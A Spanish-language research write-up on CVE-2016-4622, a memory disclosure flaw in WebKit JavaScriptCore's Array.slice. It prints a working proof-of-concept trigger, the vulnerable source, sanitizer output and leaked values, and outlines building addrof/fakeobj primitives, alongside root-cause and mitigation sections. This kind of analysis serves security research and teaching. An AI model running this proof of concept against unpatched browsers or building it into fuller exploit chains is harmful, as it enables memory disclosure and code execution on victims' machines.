/ 7 min de lectura
WebKit CVE-2016-4622: Divulgación de Memoria en Array.slice

Análisis y explotación de la vulnerabilidad de WebKit JavaScript Core que permite divulgar memoria manipulando Array.slice
Índice
- Resumen Ejecutivo
- Descripción de la Vulnerabilidad
- Configuración del Entorno de Investigación
- Análisis Técnico
- Recorrido de la Explotación
- Hallazgos Clave
- Recursos y Referencias
Resumen Ejecutivo
Este repositorio contiene un análisis de CVE-2016-4622, una vulnerabilidad crítica de divulgación de memoria en el motor JavaScript Core de WebKit. La vulnerabilidad viene de una race condition en la implementación de Array.slice() que se puede explotar para filtrar contenido de memoria adyacente, y sirve de base para primitivas de explotación más sofisticadas como addrof y fakeobj.
Impacto: divulgación de memoria que puede llevar a ejecución remota de código
Componente afectado: WebKit JavaScript Core (JSC)
Causa raíz: vulnerabilidad time-of-check-time-of-use (TOCTOU) en la implementación de fastSlice
Descripción de la Vulnerabilidad
El problema central
La vulnerabilidad está en el “fast path” optimizado de WebKit para el método Array.slice(). Al procesar los parámetros del slice, el engine convierte argumentos objeto a valores primitivos llamando a su método valueOf(). Esta conversión ocurre después de determinar los parámetros de la operación de slice, pero antes de la copia de memoria real.
Vector de ataque
var a = [];for (var i = 0; i < 100; i++) a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});print(b);Qué pasa:
- Se crea el array
acon 100 elementos - Durante el procesamiento de los parámetros del slice, se llama a
valueOf() - El
valueOf()malicioso achica el array a longitud 0 memcpyintenta copiar 10 elementos de un array vacío- Resultado: se copia memoria adyacente, causando divulgación de información
Detalles técnicos
- Tipo de vulnerabilidad: corrupción de memoria / use-after-free
- Componente: WebKit JavaScriptCore (JSC)
- Impacto: ejecución remota de código
- Puntaje CVSS: 8.8 (alto)
- Versiones afectadas: versiones de Safari previas a la actualización de seguridad
Configuración del Entorno de Investigación
Estructura del repositorio
WebKit-CVE-2016-4622/├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo├── Exploit/ # Custom exploitation attempts│ ├── poc-memleak.js # Memory leak proof-of-concept│ └── slice_over_array.js # Educational examples├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)├── WebKit-Bins/ # Compiled binaries for testing│ ├── Debug/ # Debug build with symbols│ └── ASAN/ # AddressSanitizer enabled build└── Screenshoots/ # Visual documentationComponentes del entorno de debug
# WebKit Debug Build with Address Sanitizercd WebKit-Bins/ASANexport DYLD_FRAMEWORK_PATH=$(pwd)./jsc ../../Exploit/poc-memleak.jsEntorno de testing:
- Binarios: binarios JSC precompilados en VMWare OSX 10.11 con XCode 7.3.2
- Arquitectura: ejecutables Mach-O x86_64
- Features de debug: símbolos + AddressSanitizer para un análisis exhaustivo
Corriendo la prueba de concepto
cd WebKit-Bins/Debugexport DYLD_FRAMEWORK_PATH=$(pwd)./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0Análisis Técnico
Entendiendo la mecánica de Array.slice()
El método Array.slice(begin, end) crea una copia superficial de una porción del array. En circunstancias normales:
var array = ['a', 'b', 'c', 'd'];var subset = array.slice(1, 3); // Returns ['b', 'c']Dato clave: el parámetro end pasa por una conversión de tipo vía valueOf(), y eso abre una ventana para explotación.
Análisis del call stack
Cuando se dispara la vulnerabilidad, AddressSanitizer captura este flujo de llamadas:
#0 memcpy-param-overlap detected#1 JSC::JSArray::fastSlice()#2 JSC::arrayProtoFuncSlice()#3 JavaScript execution context
Salida del Address Sanitizer
Al ejecutar el PoC con AddressSanitizer, vemos este error crítico:
==1699==ERROR: AddressSanitizer: memcpy-param-overlap:memory ranges [0x000114cd4780,0x000114cd47d0) and[0x000114cd4768, 0x000114cd47b8) overlapAnálisis función por función
1. arrayProtoFuncSlice() - Punto de entrada
Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec){ JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec); unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length); unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) { // Vulnerability triggers here if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin)) return JSValue::encode(result); } // ... fallback implementation}2. argumentClampedIndexFromStartOrEnd() - El disparador de la conversión
Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0){ JSValue value = exec->argument(argument); if (value.isUndefined()) return undefinedValue;
// CRITICAL: This is where valueOf() gets called double indexDouble = value.toInteger(exec);
if (indexDouble < 0) { indexDouble += length; return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble); } return indexDouble > length ? length : static_cast<unsigned>(indexDouble);}La race condition:
- Al procesar el segundo parámetro,
{valueOf: function() { a.length = 0; return 10; }} value.toInteger(exec)llama a nuestrovalueOf()malicioso- Nuestra función modifica la longitud del array de 100 a 0
- Pero los parámetros de la operación de slice (begin=0, end=10) quedan sin cambios
3. fastSlice() - Dónde ocurre la corrupción de memoria
Ubicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count){ auto arrayType = indexingType(); switch (arrayType) { case ArrayWithDouble: case ArrayWithInt32: case ArrayWithContiguous: { // ... setup code ...
auto& resultButterfly = *resultArray->butterfly(); if (arrayType == ArrayWithDouble) // VULNERABILITY: Reads beyond array bounds memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count); // ... }}La corrupción de memoria:
startIndex = 0,count = 10- La longitud del array ahora es 0 (modificada por
valueOf()) memcpylee 10 JSValues desde el índice 0- Como el array está vacío, esto lee memoria heap adyacente
- Resultado: vulnerabilidad de divulgación de información
Recorrido de la Explotación
Flujo de ataque paso a paso
-
Fase de setup
var a = [];for (var i = 0; i < 100; i++)a.push(i + 0.123);- Crea un tipo ArrayWithDouble con 100 elementos
- Los elementos quedan almacenados de forma contigua en memoria
-
Fase de disparo
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});- Inicia la operación de slice con un objeto malicioso como parámetro end
- La validación del fast path pasa (el array se ve normal)
-
Fase de explotación
- La conversión de parámetros llama a
valueOf() - La longitud del array se reduce a 0
fastSliceintenta copiar 10 elementos de un array vacío- Se filtra memoria adyacente dentro del array resultado
- La conversión de parámetros llama a
-
Resultado
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0- Los primeros dos valores: datos legítimos del array
- El resto: memoria adyacente filtrada
Representación visual
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)After valueOf(): [] (length=0)memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...Logrando el memory leak
El PoC demuestra un memory leak que revela contenido del heap:
Output: 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0 ^^^^^^^^^^^^^^^^ Leaked memory contentConstruyendo primitivas de explotación
Esta vulnerabilidad sirve de base para explotación más avanzada:
- Primitiva addrof: filtrar direcciones de objetos
- Primitiva fakeobj: crear objetos JavaScript falsos
- Lectura/escritura arbitraria: controlar patrones de acceso a memoria
Hallazgos Clave
Análisis de causa raíz
| Componente | Problema | Impacto |
|---|---|---|
| Procesamiento de parámetros | TOCTOU en argumentClampedIndexFromStartOrEnd | Permite modificar el estado durante el procesamiento |
| Lógica del fast path | Validación insuficiente en fastSlice | Evita el chequeo de límites |
| Operaciones de memoria | memcpy sin chequeo en la copia del array | Divulgación directa de memoria |
Primitivas de explotación
Esta vulnerabilidad sirve de base para:
- Divulgación de información: capacidad directa de memory leak
- Bypass de ASLR: posible revelación del layout del espacio de direcciones
- Type confusion: preparación para primitivas
addrof/fakeobj
Internals del motor JavaScript
Entender la representación de objetos de WebKit es clave:
// Array types in WebKit JSC// ArrayWithDouble: Optimized storage for floating-point numbers// ArrayWithInt32: Optimized storage for integers// ArrayWithContiguous: General object storage
var array = [];for (var i = 0; i < 100; i++) array.push(i + 0.123); // Creates ArrayWithDoubleTécnicas de debugging
Herramientas esenciales para investigación de explotación de browsers:
# Debug binary compilationgit checkout 320b1fc3f6fexport CC=/usr/bin/clangexport CXX=/usr/bin/clang++
# ASAN compilation flags-fsanitize=address -fno-omit-frame-pointer -gMitigación y Detección
Respuesta del vendor
- Timeline: reportado y parcheado en actualizaciones de seguridad de WebKit
- Fix: mejor chequeo de límites en operaciones de slice de arrays
- Mitigación: validación correcta de longitudes de array durante callbacks
Estrategias de detección
- Análisis estático: revisión de código de funciones de manipulación de arrays
- Análisis dinámico: chequeo de límites en runtime con AddressSanitizer
- Fuzzing: testing automatizado de casos límite del motor JavaScript
Consideraciones defensivas
Estrategias de mitigación:
- Validar límites del array antes de operaciones
memcpy - Implementar chequeo de estado consistente en los fast paths
- Agregar verificación de límites en runtime para operaciones optimizadas
Recursos y Referencias
Papers y artículos de investigación
- Attacking JavaScript Engines - Saelo (Phrack)
- CVE-2016-4622 Analysis - TuringH
- Deep Dive Analysis - null2root
- WebKit Exploitation Tutorial
Documentación técnica
- CVE-2016-4622 Official Entry
- Array.slice() - MDN Web Docs
- WebKit Source Code
- WebKit Security Advisory
Herramientas y entorno
- Commit vulnerable:
320b1fc3f6f - Entorno de build: VMWare OSX 10.11, XCode 7.3.2
- Herramientas de análisis: AddressSanitizer, GDB, builds de debug de JSC
- Repositorio de investigación: GitHub repository
Conclusión
CVE-2016-4622 es una vulnerabilidad clásica de explotación de browsers que muestra la complejidad de la seguridad en los motores JavaScript modernos. Analizando el código fuente de WebKit de forma sistemática y con debugging cuidadoso usando herramientas especializadas, se puede entender cómo race conditions aparentemente simples llevan a primitivas de explotación poderosas.
Esta investigación aporta a la comprensión más amplia de la seguridad de browsers y marca la necesidad constante de testing riguroso, prácticas de codificación segura y estrategias de defensa en profundidad en el desarrollo de navegadores web.
El código de investigación completo y el entorno de debugging quedan como base para investigación y educación en seguridad, y muestran cómo las vulnerabilidades de divulgación de memoria pueden servir de escalón hacia ataques más sofisticados.
Timeline de la investigación: 11-12 de abril de 2020
Estado: proyecto discontinuado ✅
Próximos pasos: desarrollo de la cadena de explotación completa con primitivas addrof/fakeobj